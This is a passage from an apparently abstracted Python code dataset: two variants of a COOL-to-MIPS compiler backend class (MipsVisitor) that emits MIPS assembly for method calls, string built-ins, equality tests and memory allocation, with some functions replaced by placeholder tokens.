node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n 